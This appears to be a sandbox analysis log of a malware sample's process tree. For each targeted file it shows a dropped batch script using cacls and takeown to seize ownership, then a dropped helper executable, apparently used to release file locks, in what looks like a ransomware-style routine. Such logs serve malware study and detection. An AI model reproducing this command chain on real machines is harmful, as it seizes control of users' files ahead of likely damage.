C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
PID:960 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵PID:1924
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵
- Modifies file permissions
PID:668
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
PID:944 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1912
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1568
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Loads dropped DLL
PID:892 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵PID:812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1936 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1548
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:556
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
PID:108 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵PID:1304
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1040 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1168
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1576
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:588 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:1808
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵
- Modifies file permissions
PID:1300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:1152 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1332
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:812
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:1224 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"3⤵PID:432
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:964 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1508
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵
- Loads dropped DLL
PID:972 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵PID:1576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "FreeCellMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:1912 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "FreeCellMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:1248
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png""2⤵
- Loads dropped DLL
PID:1152 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png" /E /G Admin:F /C3⤵PID:552
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1652
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SolitaireMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:836 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SolitaireMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:1624
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1660
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""2⤵
- Loads dropped DLL
PID:1260 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C3⤵PID:1508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:576
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "PurblePlaceMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:572 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "PurblePlaceMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:556
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:668
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵
- Loads dropped DLL
PID:1092 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵PID:1248
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "HeartsMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:1464 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "HeartsMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:812
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵
- Loads dropped DLL
PID:1760 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MahjongMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:1660 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MahjongMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""2⤵
- Loads dropped DLL
PID:576 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C3⤵PID:516
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1904
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SpiderSolitaireMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:1576 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SpiderSolitaireMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:896
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1304
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""2⤵
- Loads dropped DLL
PID:1744 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C3⤵PID:1492
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1332
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ChessMCE.png" -nobanner3⤵
- Loads dropped DLL
PID:1312 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ChessMCE.png" -nobanner4⤵
- Executes dropped EXE
PID:972
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html""2⤵
- Loads dropped DLL
PID:108 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html" /E /G Admin:F /C3⤵PID:1820
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html"3⤵PID:1408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "license.html" -nobanner3⤵
- Loads dropped DLL
PID:944 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "license.html" -nobanner4⤵
- Executes dropped EXE
PID:1508
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵
- Loads dropped DLL
PID:1624 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵PID:668
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
- Modifies file permissions
PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵
- Loads dropped DLL
PID:896 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵
- Executes dropped EXE
PID:1576
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1304
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵
- Loads dropped DLL
PID:1224 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵PID:1040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "eula.ini" -nobanner3⤵
- Loads dropped DLL
PID:1924 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "eula.ini" -nobanner4⤵
- Executes dropped EXE
PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵
- Loads dropped DLL
PID:748 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵PID:1060
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
- Modifies file permissions
PID:1464
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "AcroSign.prc" -nobanner3⤵
- Loads dropped DLL
PID:1136
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1156
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵
- Loads dropped DLL
PID:428 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C3⤵PID:1408
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"3⤵
- Modifies file permissions
PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "AUMProduct.cer" -nobanner3⤵
- Loads dropped DLL
PID:952 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "AUMProduct.cer" -nobanner4⤵
- Executes dropped EXE
PID:460
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1092
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif""2⤵
- Loads dropped DLL
PID:944 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif" /E /G Admin:F /C3⤵PID:108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif"3⤵PID:268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "add_reviewer.gif" -nobanner3⤵
- Loads dropped DLL
PID:1752 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "add_reviewer.gif" -nobanner4⤵
- Executes dropped EXE
PID:1260
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1096
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif""2⤵
- Loads dropped DLL
PID:896 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif" /E /G Admin:F /C3⤵PID:1624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif"3⤵
- Modifies file permissions
PID:1600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "forms_received.gif" -nobanner3⤵
- Loads dropped DLL
PID:960 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "forms_received.gif" -nobanner4⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif""2⤵
- Loads dropped DLL
PID:1720 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif" /E /G Admin:F /C3⤵PID:1492
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif"3⤵PID:1908
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "reviews_super.gif" -nobanner3⤵
- Loads dropped DLL
PID:1060 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "reviews_super.gif" -nobanner4⤵
- Executes dropped EXE
PID:1464
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1700
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif""2⤵
- Loads dropped DLL
PID:1588 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif" /E /G Admin:F /C3⤵PID:2032
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif"3⤵PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "submission_history.gif" -nobanner3⤵
- Loads dropped DLL
PID:1168 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "submission_history.gif" -nobanner4⤵
- Executes dropped EXE
PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1508
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H""2⤵
- Loads dropped DLL
PID:760 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵PID:1904
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:668
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "Identity-H" -nobanner3⤵
- Loads dropped DLL
PID:1304 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "Identity-H" -nobanner4⤵
- Executes dropped EXE
PID:572
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1600
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf""2⤵
- Loads dropped DLL
PID:1040 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf" /E /G Admin:F /C3⤵PID:1892
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf"3⤵
- Modifies file permissions
PID:516
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MinionPro-Regular.otf" -nobanner3⤵
- Loads dropped DLL
PID:1900 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MinionPro-Regular.otf" -nobanner4⤵
- Executes dropped EXE
PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB""2⤵
- Loads dropped DLL
PID:1844 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB" /E /G Admin:F /C3⤵PID:2032
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB"3⤵PID:1660
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ZY______.PFB" -nobanner3⤵
- Loads dropped DLL
PID:812 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ZY______.PFB" -nobanner4⤵
- Executes dropped EXE
PID:1168
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1508
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx""2⤵
- Loads dropped DLL
PID:1588 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx" /E /G Admin:F /C3⤵PID:1904
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx"3⤵
- Modifies file permissions
PID:1752
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "brt32.clx" -nobanner3⤵
- Loads dropped DLL
PID:1760 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "brt32.clx" -nobanner4⤵
- Executes dropped EXE
PID:572
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1392
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca""2⤵
- Loads dropped DLL
PID:108 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca" /E /G Admin:F /C3⤵PID:1364
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca"3⤵PID:556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "usa.fca" -nobanner3⤵
- Loads dropped DLL
PID:1248 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "usa.fca" -nobanner4⤵
- Executes dropped EXE
PID:860
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1492
-
-
-
